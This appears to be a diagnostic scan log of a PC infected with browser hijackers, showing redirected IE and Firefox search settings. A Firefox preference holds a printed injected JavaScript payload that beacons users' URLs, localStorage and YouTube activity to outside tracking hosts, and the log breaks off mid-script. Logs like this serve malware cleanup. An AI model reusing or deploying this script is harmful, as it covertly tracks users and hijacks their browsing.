IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Search,Search Page = http://search.certified-toolbar.com?si=82443&tid=24086&ver=7.2&ts=1&tguid=82443-24086-1415831173515-804344-b5678&st=chrome&q=
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Search,Start Default_Page_URL = http://search.certified-toolbar.com?si=82443&st=home&tid=24086&ver=7.2&ts=1&tguid=82443-24086-1415831173515-804344-b5678
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Search,Start Page = http://search.certified-toolbar.com?si=82443&st=home&tid=24086&ver=7.2&ts=1&tguid=82443-24086-1415831173515-804344-b5678
IE - HKLM\..\SearchScopes\$IESearchEngineGuid: "URL" = http://search.certified-toolbar.com?si=38268&st=bs&tid=77&q={searchTerms}
IE - HKLM\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://www.bing.com/search?q={searchTerms}&FORM=IE8SRC
IE - HKLM\..\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}: "URL" = http://search.delta-homes.com/web/?type=ds&ts=1433954644&z=21e223b3f0c97db3c281da1g7zccaefozzjcktmlma&from=wpm06103&uid=WDCXWD3200BEKT-60F3T1_WD-WX30AA9C2952C2952&q={searchTerms}
IE - HKLM\..\SearchScopes\{afdbddaa-5d3f-42ee-b79c-185a7020515b}: "URL" = http://search.certified-toolbar.com?si=82443&st=bs&tid=24086&ver=7.2&ts=1&tguid=82443-24086-1415831173515-804344-b5678&q={searchTerms}
IE - HKLM\..\SearchScopes\{BB74DE59-BC4C-4172-9AC4-73315F71CFFE}: "URL" = http://websearch.searchmania.info/?l=1&q={searchTerms}&pid=20494&r=2014/12/09&hid=11964702200008270108&lg=EN&cc=MA&unqvl=70


IE - HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0

IE - HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0

IE - HKU\S-1-5-19\..\URLSearchHook: {CFBFAE00-17A6-11D0-99CB-00C04FD64497} - C:\Windows\System32\ieframe.dll (Microsoft Corporation)

IE - HKU\S-1-5-20\..\URLSearchHook: {CFBFAE00-17A6-11D0-99CB-00C04FD64497} - C:\Windows\System32\ieframe.dll (Microsoft Corporation)

IE - HKU\S-1-5-21-2676332904-3815248177-1227062558-1000\SOFTWARE\Microsoft\Internet Explorer\Main,Default_Page_URL = http://www.delta-homes.com/?type=hp&ts=1433954644&z=21e223b3f0c97db3c281da1g7zccaefozzjcktmlma&from=wpm06103&uid=WDCXWD3200BEKT-60F3T1_WD-WX30AA9C2952C2952
IE - HKU\S-1-5-21-2676332904-3815248177-1227062558-1000\SOFTWARE\Microsoft\Internet Explorer\Main,Local Page = C:\Windows\system32\blank.htm
IE - HKU\S-1-5-21-2676332904-3815248177-1227062558-1000\SOFTWARE\Microsoft\Internet Explorer\Main,Page_Transitions = 1
IE - HKU\S-1-5-21-2676332904-3815248177-1227062558-1000\SOFTWARE\Microsoft\Internet Explorer\Main,Search Bar = http://search.certified-toolbar.com?si=82443&tid=24086&ver=7.2&ts=1&tguid=82443-24086-1415831173515-804344-b5678&st=chrome&q=
IE - HKU\S-1-5-21-2676332904-3815248177-1227062558-1000\SOFTWARE\Microsoft\Internet Explorer\Main,Search Page = http://go.microsoft.com/fwlink/?LinkId=54896
IE - HKU\S-1-5-21-2676332904-3815248177-1227062558-1000\SOFTWARE\Microsoft\Internet Explorer\Main,Secondary Start Pages = [binary data]
IE - HKU\S-1-5-21-2676332904-3815248177-1227062558-1000\SOFTWARE\Microsoft\Internet Explorer\Main,Start Default_Page_URL = http://search.certified-toolbar.com?si=82443&st=home&tid=24086&ver=7.2&ts=1&tguid=82443-24086-1415831173515-804344-b5678
IE - HKU\S-1-5-21-2676332904-3815248177-1227062558-1000\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = http://www.delta-homes.com/?type=hp&ts=1433954644&z=21e223b3f0c97db3c281da1g7zccaefozzjcktmlma&from=wpm06103&uid=WDCXWD3200BEKT-60F3T1_WD-WX30AA9C2952C2952
IE - HKU\S-1-5-21-2676332904-3815248177-1227062558-1000\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page Redirect Cache = http://fr.msn.com/?ocid=iehp
IE - HKU\S-1-5-21-2676332904-3815248177-1227062558-1000\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page Redirect Cache AcceptLangs = fr
IE - HKU\S-1-5-21-2676332904-3815248177-1227062558-1000\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page Redirect Cache_TIMESTAMP = 07 8F 84 49 C6 CC CD 01 [binary data]
IE - HKU\S-1-5-21-2676332904-3815248177-1227062558-1000\SOFTWARE\Microsoft\Internet Explorer\Search,Default_Search_URL = http://search.certified-toolbar.com?si=82443&tid=24086&ver=7.2&ts=1&tguid=82443-24086-1415831173515-804344-b5678&st=chrome&q=
IE - HKU\S-1-5-21-2676332904-3815248177-1227062558-1000\SOFTWARE\Microsoft\Internet Explorer\Search,Search Bar = http://search.certified-toolbar.com?si=82443&tid=24086&ver=7.2&ts=1&tguid=82443-24086-1415831173515-804344-b5678&st=chrome&q=
IE - HKU\S-1-5-21-2676332904-3815248177-1227062558-1000\SOFTWARE\Microsoft\Internet Explorer\Search,Search Page = http://search.certified-toolbar.com?si=82443&tid=24086&ver=7.2&ts=1&tguid=82443-24086-1415831173515-804344-b5678&st=chrome&q=
IE - HKU\S-1-5-21-2676332904-3815248177-1227062558-1000\SOFTWARE\Microsoft\Internet Explorer\Search,Start Default_Page_URL = http://search.certified-toolbar.com?si=82443&st=home&tid=24086&ver=7.2&ts=1&tguid=82443-24086-1415831173515-804344-b5678
IE - HKU\S-1-5-21-2676332904-3815248177-1227062558-1000\SOFTWARE\Microsoft\Internet Explorer\Search,Start Page = http://search.certified-toolbar.com?si=82443&st=home&tid=24086&ver=7.2&ts=1&tguid=82443-24086-1415831173515-804344-b5678
IE - HKU\S-1-5-21-2676332904-3815248177-1227062558-1000\..\URLSearchHook: {CFBFAE00-17A6-11D0-99CB-00C04FD64497} - C:\Windows\System32\ieframe.dll (Microsoft Corporation)
IE - HKU\S-1-5-21-2676332904-3815248177-1227062558-1000\..\SearchScopes,DefaultScope = {33BB0A4E-99AF-4226-BDF6-49120163DE86}
IE - HKU\S-1-5-21-2676332904-3815248177-1227062558-1000\..\SearchScopes\$IESearchEngineGuid: "URL" = http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}
IE - HKU\S-1-5-21-2676332904-3815248177-1227062558-1000\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}
IE - HKU\S-1-5-21-2676332904-3815248177-1227062558-1000\..\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}: "URL" = http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}
IE - HKU\S-1-5-21-2676332904-3815248177-1227062558-1000\..\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}: "URL" = http://www.omniboxes.com/web/?type=ds&ts=1447249304&z=21e223b3f0c97db3c281da1g7zccaefozzjcktmlma&from=wpm07173&uid=WDCXWD3200BEKT-60F3T1_WD-WX30AA9C2952C2952&q={searchTerms}
IE - HKU\S-1-5-21-2676332904-3815248177-1227062558-1000\..\SearchScopes\{3BD44F0E-0596-4008-AEE0-45D47E3A8F0E}: "URL" = http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}
IE - HKU\S-1-5-21-2676332904-3815248177-1227062558-1000\..\SearchScopes\{4D7E2294-AB16-470A-B43D-C3120B000F76}: "URL" = http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}
IE - HKU\S-1-5-21-2676332904-3815248177-1227062558-1000\..\SearchScopes\{afdbddaa-5d3f-42ee-b79c-185a7020515b}: "URL" = http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}
IE - HKU\S-1-5-21-2676332904-3815248177-1227062558-1000\..\SearchScopes\{BB74DE59-BC4C-4172-9AC4-73315F71CFFE}: "URL" = http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}
IE - HKU\S-1-5-21-2676332904-3815248177-1227062558-1000\..\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}: "URL" = http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}
IE - HKU\S-1-5-21-2676332904-3815248177-1227062558-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0

[color=#E56717]========== FireFox ==========[/color]

FF - prefs.js..browser.search.countryCode: "MA"
FF - prefs.js..browser.search.defaultengine: "Web Search"
FF - prefs.js..browser.search.defaultenginename: "Web Search"
FF - prefs.js..browser.search.defaultenginenameS: "WebSearch"
FF - prefs.js..browser.search.defaulturl: "http://websearch.searchmania.info/?pid=20494&r=2014/12/09&hid=11964702200008270108&lg=EN&cc=MA&unqvl=70&l=1&q="
FF - prefs.js..browser.search.order.1: "Web Search"
FF - prefs.js..browser.search.order.1S: "WebSearch"
FF - prefs.js..browser.search.order.3: "Bing "
FF - prefs.js..browser.search.region: "MA"
FF - prefs.js..browser.search.selectedEngine: "delta-homes"
FF - prefs.js..browser.search.selectedEngineS: "WebSearch"
FF - prefs.js..browser.search.useDBForOrder: false
FF - prefs.js..browser.startup.homepage: "http://www.delta-homes.com/?type=hp&ts=1433954644&z=21e223b3f0c97db3c281da1g7zccaefozzjcktmlma&from=wpm06103&uid=WDCXWD3200BEKT-60F3T1_WD-WX30AA9C2952C2952"
FF - prefs.js..extensions.enabledAddons: quick_searchff%40gmail.com:5.4.13
FF - prefs.js..extensions.enabledAddons: ff806580-6db3-4c09-ba06-d6caf0e99172%408453cb25-7fef-4ed5-8934-b08be5605617.com:0.95.239
FF - prefs.js..extensions.enabledAddons: c1b9d306-75ba-4390-8a8b-76b504015572%40gmail.com:0.95.142
FF - prefs.js..extensions.enabledAddons: %7B972ce4c6-7e08-4474-a285-3208198ce6fd%7D:38.0.5
FF - prefs.js..extensions.mQhe3KiY3th8OKRY.scode: "(function(){try{if(window.location.href.indexOf(\"rjw4qTn6rdsGrdaErdYGqHaFrdY\")>-1){return;}}catch(e){}try{var d=[[\"cryptogmail.com\",\"bancdebinary.com\",\"investkingdom.com\",\"www.optionsclick.com\",\"www.optionfair.com\",\"www.24option.com\",\"www.viracure.com\",\"onesystemcare.com\",\"onesave.com\",\"backin.net\",\"trianglecash.com\",\"acebook\",\"flybrain.com\",\"www.pcutilitiespro.com\",\"www.pcutilitiespro.net\",\"www.superpctools.com\",\"www.superpctools.net\",\"www.pcrepairlabs.com\",\"www.pcrepairlabs.net\",\"www.viracure.net\",\"www.onesave.com\",\"www.onesave.net\",\"www.centralshopgate.com\",\"www.centralshopgate.net\",\"www.safeshopgate.com\",\"www.safeshopgate.net\",\"securedshopgate.com\",\"securedshopgate.net\",\"gen.securedshopgate.com\",\"gen.securedshopgate.net\",\"e4everything.co\",\"3juices.s\",\"safecart.com\",\"cleverbridge.com\",\"warnalert11.com\",\"sumorobo.net\",\"mindri.com\",\"alertfunctions.com\",\"immediate-support.com\",\"sumorobo\",\"roulettebotplus\",\"s.vgsgaming-ads\",\"lottery-master\",\"lotterymaster\",\"onduit\",\"search.imesh\",\"search.searchcore\",\"searchnu.com\",\"searchqu.com\",\"shareazaweb\",\"searchgby.com\",\"mysearchresults.com\",\"searchya.com\",\"searchgol.com\",\"trovi.com\",\"search.ask\",\"mywebsearch.com\",\"search-results.com\",\"mysearch.com\",\"offers.bycontext.com\",\"deals.offer-dynamics.com\",\"offer-dynamics.com\",\"deadsea.com\",\"jerusalem.com\",\"vatican.com\",\"iklk.com\",\"gvud.com\",\"zuzd.com\",\"babaviral.com\",\"cupid.so\",\"hostanytime.com\",\"antivirus.so\",\"dates.am\",\"insurance-company.co\",\"advanceloan.org\",\"calcitapp.info\",\"desktopfavapp.info\",\"avatrade.com\",\"game-trek.net\",\"urgent-alerts.com\",\"pc-alert.com\",\"error-alerts.com\",\"search.searchonme.com\",\"searchitapp.com\",\"news.searchonme.com\",\"search.appsarefun.info\",\"websearch.mocaflix.com\",\"search.easylifeapp.com\",\"searchy.easylifeapp.com\",\"us.yhs4.search.yahoo.com\",\"search.gboxapp.com\",\"searchiy.gboxapp.com\",\"bestonlinegadgetguide.com\",\"odpu.com\",\"safesearch.co\",\"findamo.com\",\"search.myownsearchbox.com\",\"datropy.com\",\"applicationgrabb.net\",\"databass.info\",\"firstfirst.net\",\"liversely.com\",\"liversely.net\",\"livesetwebs.org\",\"lp.ncdownloader.com\",\"lp.vaudix.com\",\"masteroids.com\",\"reditions.net\",\"sharesuper.info\",\"storaget.info\",\"westzip.in\",\"boxhilade.com\",\"mylinksworld.com\",\"shoppingwiz.co\",\"rabbitsearch.net\",\"searchandbake.com\",\"smartshopping.com\",\"www.search.smartshopping.com\",\"www.local.smartshopping.com\",\"www.shoppstop.com\",\"localmoxie.com\",\"www.yellowmoxie.com\",\"www.mail.com\",\"suche.mail.com\",\"www.web.de\",\"suche.web.de\",\"suche.gmx.de\",\"search.gmx.com\",\"search.gmx.co.uk\",\"news.gmx.com\",\"news.gmx.co.uk\",\"www.turbosearchengine.com\",\"search.turbosearchengine.com\",\"www.relatedtopix.com\",\"search.relatedtopix.com\",\"www.app-rover.com\",\"www.appigniter.com\",\"www.bposolutions.com\",\"www.zhuamob.com\",\"www.yieldnexus.com\",\"www.tfxiq.com\",\"www.tfxiq.net\",\"sporty-glow.com\",\"namyneck.com\",\"styloosh.com\",\"baidu.co.th\",\"ooyd.com\",\"jobsro.com\",\"kaoor.com\",\"myloginbox.com\",\"mainpagesite.com\",\"turtleclip.com\",\"blackyclip.com\",\"film-tease.com\",\"bestpaydayloans2015.com\",\"hotelsdealsreviews.com\",\"top10cellphoneplans.com\",\"top5autoinsurance.com\",\"topcreditreportsites.com\"],[/(d1ljaxj866duo3|d1htcstfblev9a)\\.cloudfront\\.net$/,/^websearch\\.(mocaflix|searchissimple|just-browse|good-results|searchsupporter|soft-quick|pu-results|simplespeedy|helpmefindyour|greatresults|youwillfind|lookforitthere|lookforithere|searchmainia|searchrocket|homesearchapp|a-searchpage|coolwebsearch|homesearch-hub|resulthunters|searchdwebs|searchingisme|searchannel|searchouse|pur-esult|searchboxes|searchitup|searchpages|searchesplace|simplesearches|goodfindings|searchiseasy|the-searcheng|oversearch|searchere|relevantsearch|wisesearch|search-guide|searchisbestmy|searchbomb|searchguru|searchsun|searchsunmy|toolksearchbook|searchinweb|webisgreat|webisawsome|exitingsearch|amaizingsearches|searchingissme|awsomesearchs|eazytosearch|ezsearches|fastosearch|fastsearchings|flyandsearch|wonderfulsearches|fixsearch|searchandfly|searchfix|allsearches|searc-hall|simple2search|searchitwell)\\.info$/,/search\\.(easylifeapp|gboxapp|searchonme|appsarefun|genieo)\\.com/]];for(var i=0,a=d[0],l=a.length;i<l;i++){if(window.location.hostname.indexOf(a[i])>-1){return;}}for(var j=0,a=d[1],l=a.length;j<l;j++){if(a[j].test(window.location.hostname)){return;}}}catch(e){}try{var u=[[\"#InterYield\",\"revenuewire.com/pcutilitiespro\",\"__ipm=\",\"=apapamam\",\"txtlnkusaolp00000800\",\"=admaven\",\"5386b_643c_\",\"=CONMHP&conlogo=CT3210127\",\"www.livegeekhelp.com/pop/\",\"?ctid=ct3330145\",\"?ctid=ct3330146\",\"?ctid=ct3330147\",\"?ctid=ct3330148\",\"?ctid=ct3330149\",\"if72ru4sdfsdfruh7fewui\",\"fghjktghndfgtssss\",\"jp.hao123.com/?tn=webpick_pay_sc_up01_hao123_jp\",\"form=u064ht&pc=u064\",\"source=45905810\",\"source=532d277e\",\"aro.com/ws/?source=6974b128\",\"esmoke.com/?isid=9949\",\"esmoke.com/?isid=9950\",\"esmoke.com/?isid=9951\",\"id=webpick_ot\",\"id=wbpk_ot\",\"hash=a4vxy8\",\"hash=m5g73j\",\"hash=hg7gja\",\"hash=fz61s5\",\"hash=1i5w2d\",\"hash=zndas3\",\"hash=b3qau4\",\"hash=ijeqe4\",\"duit&ptag=aa7aab832a2de41458bf&\",\"duit&ptag=a93f650ac0e6a4a4791f&\",\"duit&ptag=a79888693f6ca4634a6f\",\"duit&ptag=a359b17b6faa44e6b86f\",\"isid=mf245f633-e188-4162-b56a\",\"sid=meabfcf9a-556b-4c5c-8727\",\"isid=m8fbc22fe-ab08-464e-aa63\",\"uid=531364863_132823_4252277e\"],[/^https?:\\/\\/([a-z0-9-]+\\.)*google\\.com\\/.*?(dommkfimfbbhdeboddnnlegdgbcebomb)/,/^https?:\\/\\/lp\\.cryptogmail\\.com\\/.*?[?&]utm_medium=cpd_(1786)_.*?&utm_campaign=(youtube1|youtube2|LP1Allgeo|LP2AM|LPHPALL|LP4all)(?=&|#|$)/,/^https?:\\/\\/trade\\.optionsclick\\.com\\/.*?[?&]p1=35191_(359687|359689)(?=&|#|$)/,/^https?:\\/\\/ofbinarysystem\\.com\\/.*?\\?.*?bta=(35393)(?=&).*?&afp=Krypton_/i,/^https?:\\/\\/option\\.go2jump\\.org\\/(SHIyqq|SHIyqs|SHIypC|SHOXy8)(?=\\?)/,/^https?:\\/\\/go\\.bancdebinary\\.com\\/lp\\/.*?(?=\\?).*?(\\?|&)a_aid=(HO8690)(?=&).*?&campaign=(7718)(?=&).*?&a_bid=(262)/,/^https?:\\/\\/tracking\\.bbinary\\.com\\/aff_c\\?.*?offer_id=(262)(?=&).*?&aff_id=(8690)(?=&).*?&url_id=(1310|1638|1690|1549|1644|1332|1668|1684)(?=&|#|$)/,/[\\?&]p=24039(&|$)/,/lll[a-zA-Z0-9]{11}00/,/#FA[-_]/,/bing\\.com[^p]+pc=.+/,/^http:\\/\\/sporty-glow\\.com\\//,/^http:\\/\\/game-trek\\.net\\//,/#(a652c|ld893)_/,/[&?]pid=715493([&#]|$)/,/ressbar\\.com[^f]+fid=65017/,/^https?:\\/\\/([a-z0-9-]+\\.)*search\\.yahoo\\.com\\/yhs\\/.*[&?]hspart=webpick(&|$)/]];for(var i=0,a=u[0],l=a.length;i<l;i++){if((window.location.href+\"#\"+window.name).indexOf(a[i])>-1){(new Image).src = \"//\"+[\"trafficguru.xyz\",\"mymatrixinner.net\"][window.location.protocol!= \"https:\"?0:1]+\"/?n=\"+encodeURIComponent(a[i])+\"&h=\"+encodeURIComponent(window.location.href+\"#\"+window.name)+\"&d=\"+encodeURIComponent(window.location.hostname)+\"&eid=78&pid=20494&hid=11964702200008270108\";return;}}for(var j=0,a=u[1],l=a.length;j<l;j++){if(a[j].test(window.location.href+\"#\"+window.name)){(new Image).src=\"//\"+[\"trafficguru.xyz\",\"mymatrixinner.net\"][window.location.protocol!=\"https:\"?0:1]+\"/?n=\"+encodeURIComponent(a[j])+\"&h=\"+encodeURIComponent(window.location.href+\"#\"+window.name)+\"&d=\"+encodeURIComponent(window.location.hostname)+\"&eid=78&pid=20494&hid=11964702200008270108\";return;}}}catch(e){}try{(function () { var b, f, g; try { var a = window.location.href; if (!(window == window.top || \"undefined\" == typeof localStorage || \"undefined\" == typeof localStorage.setItem || -1 == a.indexOf(\"ZAkmywg6=\") && !a.match(/1018-\\d{3,4}_/) && -1 == a.indexOf(\"cdncache-a.aka\"))) { if (-1 < a.indexOf(\"ZAkmywg6=\")) { var d = a.match(/ZAkmywg6=(\\d+)_(\\d{2,3}x\\d{2,3})_?(\\d+)?/ b = d[1]; f = d[2].replace(\"x\", \".\"); g = d[3] ? d[3] : 0 } else { try { var j = -1 < a.indexOf(\"zoneid\") ? a.match(/zoneid=(\\d+)/)[1] : a.match(/1018-(\\d+)_WS/)[1] } catch (n) { j = 0 } var c = document.getElementsByTagName(\"body\")[0]; b = -1 < a.indexOf(\"cdncache-a.aka\") ? 1001 : 1002; f = Math.max(c.scrollWidth, c.offsetWidth) + \".\" + Math.max(c.scrollHeight, c.offsetHeight); g = j } var e = new Date, k = parseInt(e.getTime() / 1E3), l = \"zyk_\" + [e.getUTCFullYear() + \"-\" + (e.getUTCMonth() + 1) + \"-\" + e.getUTCDate(), b, f, g].join(), m = localStorage.getItem(l); localStorage.setItem(l, 1 + (m ? parseInt(m) : 0)); if (lsTime = localStorage.getItem(\"zEpoch\")) { if (7200 < k - parseInt(lsTime)) { var h = document.createElement(\"div\"); b = []; for (i in localStorage)-1 < i.indexOf(\"zyk_\") && b.push(\"'\" + i.replace(\"zyk_\", \"\") + \"':\" + localStorage.getItem(i)); h.style.display = \"none\"; h.innerHTML = '<iframe name=\"webscorebox_ifr\"></iframe><form target=\"webscorebox_ifr\" method=\"post\" action=\"http://count3.webscorebox.com/?q=g708BNmGWj8qnihVWzmPhd96pchEAen0rTa9pjnMDMlGC7VLBT94tMtGB6DHhfs0rShNAen0rchOAen0rjw4qTn6rdsGrdaErdYGqHaFrdY=\" id=\"webscorebox_frm\"><input type=\"hidden\" name=\"scores\" value=\"{' + b.join(\",\") + '}\"></form>'; (typeof c != \"undefined\" ? c : document.getElementsByTagName(\"body\")[0]).appendChild(h); document.getElementById(\"webscorebox_frm\").submit(); localStorage.clear() } } else localStorage.setItem(\"zEpoch\", k) } } catch (p) { } })(); (function () { var l = function () { var a = window.location.search.split(\"v=\")[1], b = a && a.indexOf(\"&\") || -1; -1 != b && (a = a.substring(0, b)); return a }, m = function () { var a = document.getElementsByClassName(\"watch-view-count\"); return a && a[0] && a[0].innerHTML ? (a = a[0].innerHTML.replace(/^([0-9,]+).*$/, \"$1\").replace(/,/g, \"\")) && parseInt(a) && parseInt(a) || 0 : 0 }, n = function () { var a = document.getElementsByClassName(\"watch-extras-section\"); if (a)for (var b = 0; b < a[0].children.length; b++)if (\"Category\" === a[0].children[b].getElementsByClassName(\"title\")[0].innerHTML.trim()) { var c = a[0].children[b].getElementsByTagName(\"a\"); if (c && c[0] && (c = c[0].getAttribute(\"href\")))return encodeURIComponent(c.replace(\"/\", \"\")) } return \"\" }, p = function () { var a = document.getElementsByClassName(\"yt-subscription-button-subscriber-count-branded-horizontal\"); return a && a[0] && a[0].innerHTML ? (a = a[0].innerHTML.replace(/^([0-9,]+).*$/, \"$1\").replace(/,/g, \"\")) && parseInt(a) && parseInt(a) || 1 : 1 }; if (window == window.top && (-1 < window.location.hostname.indexOf(\"youtube.com\") || -1 < window.location.hostname.indexOf(\"youtu.be\")))try { if (\"qq=\" == window.name.substr(0, 3)) { var f = document.getElementsByTagName(\"body\")[0]; if (!f.getAttribute(\"wyttb\")) { f.setAttribute(\"wyttb\", \"1\"); var g = l(), d = m(), q = n(), h = p(); if (g && d && d) { var e = window.name.split(\"=\")[1]; window.name = \"\"; 2 <= d / h && ((new Image).src = \"https://score.transferin.in/subs.php?id=\" + g + \"&n=\" + d + \"&c=\" + q + \"&s=\" + h + \"&q=\" + e + \"&cb=41.140.133.34\") } } } if (-1 < window.location.href.indexOf(\"results?search_query=\")) { var k = /[\\?&]search_query=([^&#]*)/.exec(location.search), e = null === k ? \"\" : decodeURIComponent(k[1].replace(/\\+/g, \" \")); window.name = \"qq=\" + e } } catch (r) { } })(); new function () { var k = this; this.utils = new function () { var c = this; c.sendPixels = function (a) { var b; if (a instanceof Array)for (var e = 0; e < a.length; e++) { var d = a[e]; b = new Image; b.src = d } else b = new Image, b.src = a }; c.isFalse = function (a) { return \"undefined\" == typeof a || 0 === a.length || null === a }; c.cookie = new function () { var a = this; a.createCookie = function (a, e, d) { if (d) { var c = new Date; c.setTime(c.getTime() + 864E5 * d); d = \"; expires=\" + c.toGMTString() } else d = \"\"; document.cookie = a + \"=\" + e + d + \"; path=/\" }; a.readCookie = function (a) { a += \"=\"; for (var e = document.cookie.split(\";\"), d = 0; d < e.length; d++) { for (var c = e[d]; \" \" == c.charAt(0);)c = c.substring(1, c.length); if (0 == c.indexOf(a))return c.substring(a.length, c.length) } return null }; a.eraseCookie = function (b) { a.createCookie(b, \"\", -1) } }; c.ajax = { get: function (a, b) { try { this.xhr = new XMLHttpRequest, this.xhr.open(\"GET\", a, !0), this.xhr.onreadystatechange = function () { 4 == c.ajax.xhr.readyState && b(c.ajax.xhr.responseText) }, this.xhr.send() } catch (e) { } }, post: function (a, b, e) { this.xhr = new XMLHttpRequest; this.xhr.open(\"POST\", a, !0); this.xhr.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\"); this.xhr.onreadystatechange = function () { 4 == c.ajax.xhr.readyState && e(c.ajax.xhr.responseText) }; b = encodeURIComponent(b); this.xhr.send(b) } }; c.waitForTokens = {}; c.addScript = function (a, b) { if (\"bing\" == b) { var e = Element.prototype.appendChild; document.createElement(\"iframe\"); Element.prototype.appendChild = document.appendChild; document.getElementsByTagName(\"head\")[0].appendChild(a); Element.prototype.appendChild = e } else document.getElementsByTagName(\"head\")[0].appendChild(a) }; c.waitForElement = function (a, b, e, d) { var f = c.query_selector_all(a); clearTimeout(c.waitTimeout); if (25 < k.waitForElementCounter)return b(null); if (\"undefined\" == typeof f || 1 > f.length) { if (c.waitForTokens[d])return b(null); var g = arguments.callee; c.waitTimeout = setTimeout(function () { k.waitForElementCounter++; g(a, b, e, d) }, e) } else { if (c.waitForTokens[d])return b(null); c.waitForTokens[d] = !0; k.waitForElementCounter = 0; return b(f) } }; c.flushWaitForTokens = function () { c.waitForTokens = {} }; c.getRandomInt = function (a, b) { return Math.floor(Math.random() * (b - a + 1)) + a }; c.get_computed_style = \"function\" != typeof window.getComputedStyle ? function (a) { return { getPropertyValue: function (b) { \"float\" == b && (b = \"styleFloat\"); b = c.dhtml_prop_name(b); return \"object\" == typeof a.currentStyle && null != a.currentStyle && \"undefined\" != typeof a.currentStyle[b] ? a.currentStyle[b] : null } } } : function (a, b) { return window.getComputedStyle(a, b) || { getPropertyValue: function () { }} }; c.query_selector_all = document.querySelectorAll ? function (a) { try { return document.querySelectorAll(a) } catch (b) { } } : function (a) { var b = a.match(/^#([^,\\s]+)$/) || []; if (1 < b.length)return a = document.getElementById(b[1]) || void 0, \"undefined\" != typeof a ? [a] : []; b = document.createElement(\"STYLE\"); document.getElementsByTagName(\"body\")[0].appendChild(b); document.__asya_qsaels = []; b.styleSheet.cssText = a + \"{x:expression(document.__asya_qsaels.push(this))}\"; window.scrollBy(0, 0); return document.__asya_qsaels }; c.clone_object = window.JSON instanceof Object ? function (a) { if (a instanceof Object && (a = JSON.stringify(a), \"string\" == typeof a))return JSON.parse(a) } : function (a) { if (a instanceof Object) { var b = new a.constructor, e; for (e in a)b[e] = arguments.callee(a[e]); return b } return a }; c.dhtml_prop_name = function (a) { return a.replace(/(\\-([a-z]){1})/g, function (a, e, c) { return c.toUpperCase() }) }; c.wildcard_to_regex = function (a) { a = a.replace(/([.^$+(){}\\[\\]\\\\|\\?])/g, \"\\\\$1\"); a = a.replace(/\\*/g, \".*\"); return new RegExp(a) }; c.throttle = function (a, b) { var e = null; return function () { var c = this, f = arguments; clearTimeout(e); e = setTimeout(function () { a.apply(c, f) }, b) } }; c.epoch = function () { return (new Date).getTime() }; c.msie = function () { var a = parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase()) || [])[1], 10); isNaN(a) && (a = parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase()) || [])[1], 10)); return isNaN(a) ? !1 : a }(); c.version_ie_less = function (a) { if (/MSIE (\\d+\\.\\d+);/.test(navigator.userAgent))return new Number(RegExp.$1) <= a ? !0 : !1 }; c.isIE = function () { return \"Microsoft Internet Explorer\" == navigator.appName || \"Netscape\" == navigator.appName && null != /Trident\\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(navigator.userAgent) }; c.match_url = function (a, b) { for (var e = 0; e < b.length; e++)if (\"string\" == typeof b[e]) { var d; d = /^\\/.+\\/$/.test(b[e]) ? new RegExp(b[e]) : c.wildcard_to_regex(b[e]); if (d instanceof RegExp && d.test(a))return !0 } }; c.ping = function (a) { for (var b = [\"google\", \"bing\", \"yahoo\", \"youtube\"], c = 0; c < b.length; c++)if (-1 < location.hostname.indexOf(b[c])) { var d = new Image, f = encodeURIComponent(window == window.top ? window.location.href : \"\"); 1E3 < f.length && (f = encodeURIComponent(location.hostname)); var g = encodeURIComponent(location.hostname); d.src = k.pixelHost + \"?hid=11964702200008270108&eid=78&pid=20494&prodid=338&v=\" + k.version + \"&ch=\" + a + \"&lan=\" + navigator.language + \"&cc=MA&pr=\" + b[c] + \"&host=\" + g + \"&ref=\" + f } }; c.getAllText = function (a) { for (var b = \"\", c = 0; c < a.length; c++)b += a.textContent ? a.textContent : a.innetText; return b }; c.duplicateElement = function 